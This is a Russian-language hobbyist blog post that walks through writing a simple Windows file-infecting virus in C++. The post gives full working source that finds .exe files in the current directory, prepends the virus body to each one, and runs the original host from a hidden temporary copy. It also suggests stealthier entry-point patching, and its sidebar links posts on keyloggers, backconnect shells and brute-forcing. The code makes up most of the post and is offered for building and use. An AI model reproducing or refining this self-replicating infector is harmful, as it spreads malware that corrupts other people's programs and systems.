Файловые вирусы были очень долгое время самыми распространенными вирусами в киберпространстве. К сожалению или к счастью их эпоха прошла. Наступила новая компьютерная эра, но я все таки постараюсь объяснить как они работали, и даже приведу исходный код одного из них. Это будет самый простейший недеструктивный вирус. То есть, он не будет делать ничего, кроме распространения.
flu virion файловые вирусы
Для начала, разработаем главный алгоритм работы вируса

Первым делом мы должны будем проверить, не сидим ли мы в каком нибудь добросовестном exe. Для этого достаточно сравнить размер нашего файла с эталонным размером нашего файла (вбивается после компиляции). Это не идеально, даже далеко не идеально, но в целях обучения сойдет. Соответственно, если мы уже сидим в каком либо exe, то распакуем и запустим его. Вторым этапом мы начнем искать другие файлы для их заражения. Искать будем,  для простоты, в текущей директории. А как нам проверить, не инфицирован ли найденный файл уже? Для этого нам потребуется сигнатура вируса. По ней мы и узнаем, заражен ли файл. Итак, каркас приложения будет выглядеть так:

#include 

#pragma comment(linker,"/OPT:NOWIN98")

#define StubSize 4096

char szSignature[] = "1.exe";

void ExtractExe()
{

}

bool AlreadyInfected(char *szFile)
{
        return false;
}

void InfectExe(char *szFile)
{

}

void ScanExe()
{
        WIN32_FIND_DATA fd;
        HANDLE hFind = FindFirstFileA("*.exe",&fd);

        if(hFind != INVALID_HANDLE_VALUE)
        {
                do 
                {
                        if(!AlreadyInfected(fd.cFileName))
                                InfectExe(fd.cFileName);
                } 
                while (FindNextFileA(hFind,&fd));
        }
}

int WINAPI WinMain(HINSTANCE hInstance, 
                                   HINSTANCE hPrevInstance, 
                                   LPSTR lpCmdLine, 
                                   int nShowCmd)
{
        ExtractExe();
        ScanExe();
        return 0;
}

Директива /OPT:NOWIN98 приказывает линкеру поменьше тратить памяти (если серьезно — не собирать exe для использования в Win98). StubSize мы будем самостоятельно изменять, выясняя итоговый размер вируса. szSignature — переменная, которая и будет сигнатурой вируса. Пока основной интерес составляет лишь процедура ScanExe — но я отсылаю вас почитать статью . Предположим, что вы прочитали ее. Тогда продолжим. Рассмотрим процедуру AlreadyInfected:

bool AlreadyInfected(char *szFile)
{
        HANDLE hFile = CreateFileA(szFile,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL);
        SetFilePointer(hFile,0x0000E10,NULL,FILE_BEGIN);
        DWORD dwReaden;
        char szBuffer[6] = {0};
        ReadFile(hFile,szBuffer,5,&dwReaden,NULL);
        CloseHandle(hFile);

        if(strcmp(szBuffer,szSignature) == 0)
                return true;
        else
                return false;
}

Здесь мы проверяем на инфицированность. Для начала мы открываем файл на чтение, потом мы устанавливаем указатель на смещение E10. Откуда я взял эти цифры? Посмотрел в WinHex смещение szSignature. Вообще же можно и поискать в файле нашу сигнатуру, вопрос лишь в сложности. Дальше мы считываем именно размер сигнатуры и в зависимости от равенства возвращаем результат.

Теперь посмотрим на процедуру ExtractExe. Её исходный код выглядит вот так:

void ExtractExe()
{
        char szMy[MAX_PATH] = {0};
        GetModuleFileNameA(NULL,szMy,sizeof(szMy));

        HANDLE hMy = CreateFileA(szMy,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL);
        DWORD dwSize = GetFileSize(hMy,NULL);

        if(dwSize != StubSize)
        {
                // Значит что то есть
                memcpy(szMy + strlen(szMy) - 4,szSignature,strlen(szSignature));

                SetFilePointer(hMy,StubSize,NULL,FILE_BEGIN);

                HANDLE hOut = CreateFileA(szMy,GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);

                char *szBuffer = (char *)LocalAlloc(GMEM_ZEROINIT,dwSize - StubSize);

                DWORD dwReaden,dwWriten;

                ReadFile(hMy,szBuffer,dwSize-StubSize,&dwReaden,NULL);

                WriteFile(hOut,szBuffer,dwReaden,&dwWriten,NULL);

                LocalFree(szBuffer);

                CloseHandle(hOut);

                STARTUPINFO si = {0};
                PROCESS_INFORMATION pi = {0};
                CreateProcessA(szMy,NULL,NULL,NULL,FALSE,NULL,NULL,NULL,&si,&pi);
        }

        CloseHandle(hMy);
}

Что же здесь происходит? Для начала узнаем как нас зовут и наш размер. Потом сверяем с эталонным. Если размеры не совпадают, то приступаем к интересному. А именно: создаем новое имя, получаемая путем прибавления к исходному (не учитывая расширения) строки «1.exe». Затем устанавливаем указатель на размер вируса. С этой позиции начинается как раз инфицированный exe. Дальше создаем файл-буфер (естественно скрытый), потом читаем из вируса инфицированный exe и записываем в файл-буфер. После запускаем инфицированный exe. Что такое LocalAlloc и LocalFree? Это функции работы с памятью. Мы можем выделять память в хипе и освобождать ее. Использовать эти функции надо с боольшой осторожностью, так как они могут приводить к краху. А вся проблема будет заключатся в том, что трудно будет установить источник краха, да и проявлятся он будет от случая к случаю. Страшно? Мне тоже… Но делать нечего, и мы переходим к последней процедуре, а именно к процедуре InfectExe. Наверное она самая вкусная из всех. Вот ее код:

void InfectExe(char *szFile)
{
        DWORD dwReaden,dwWriten;

        char szMy[MAX_PATH] = {0};
        GetModuleFileNameA(NULL,szMy,sizeof(szMy));

        HANDLE hMy = CreateFileA(szMy,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL);
        char *szVirus = (char *)LocalAlloc(GMEM_ZEROINIT,StubSize);
        ReadFile(hMy,szVirus,StubSize,&dwReaden,NULL);
        CloseHandle(hMy);

        HANDLE hFile = CreateFileA(szFile,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,NULL,NULL);
        DWORD dwSize = GetFileSize(hFile,NULL);
        char *szContent = (char *)LocalAlloc(GMEM_ZEROINIT,dwSize);
        ReadFile(hFile,szContent,dwSize,&dwReaden,NULL);
        SetFilePointer(hFile,0,0,FILE_BEGIN);
        WriteFile(hFile,szVirus,StubSize,&dwWriten,NULL);
        WriteFile(hFile,szContent,dwSize,&dwWriten,NULL);
        CloseHandle(hFile);

        LocalFree(szContent);
        LocalFree(szVirus);
}

Сначала получаем свое имя, затем читаем тело вируса (размер мы задали #define). Почему именно #define а не GetFileSize? А если мы уже инфицированы? Таскать с собой уже несколько exe чтоли? Уяснили. Дальше открываем заражаемый файл, считываем его, затем ставим позицию в начало и записываем сначал вирус, потом сам exe. Затем подчищаем. Всё! Но есть несколько проблем…

  1. Иконка будет менятся на иконку вируса
  2. Нельзя инфицировать слишком большие файлы
  3. Нужно бы избавится от временных файлов

Вообще, хорошо было бы, если бы инфицирование проходило не вот так, а исходный код инфицируемого exe модифицировался, а именно: первой инструкцией, была инструкция перехода на конец инфицированнного exe, где располагался сам вирус. А он уже, восстанавливал бы тот код exe после своей работы. Это бы позволило не изменятся иконке да и от временных файлов избавило. Да в комплекте и большие файлы можно было бы инфицировать. Как вам такой ход конем? И напоследок прилагаю полный исходный код. Скачайте его: main и не забудьте скорректировать размер exe и позицию сигнатуры!

tt twitter big4 файловые вирусы tt digg big4 файловые вирусы tt facebook big4 файловые вирусы tt gmail big4 файловые вирусы tt myspace big4 файловые вирусы tt reddit big4 файловые вирусы

Комментарии (4) на “файловые вирусы”

  • _or_75:

    Блин написал бы так что бы иконка зараженного файла сохранялась ;-)

    Ответить
    • Panterr63:

      Ну так можно и самому дописать :mrgreen: тем более скоро напишу о том, как менять иконки.

      Ответить
  • Dmitriy:

    Получается, что в данном примере после отработки кода вируса при запуске инфицированного файла, код исходного exe-ка не получит управления и его заражённость станет очевидной, а функциональность нулевой, так?

    Как можно сделать переход на стартовый код исходного файла в конце отработки вирусного кода? Использовать ассемблерные инструкции или какой-нибудь longjmp? Или надо пересоздавать «чистый» процесс в памяти?

    Ответить
  • Dmitriy:

    Ой, я ступил, он же запускается отдельным процессом из функции ExtractExe().
    =)

    Ответить

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++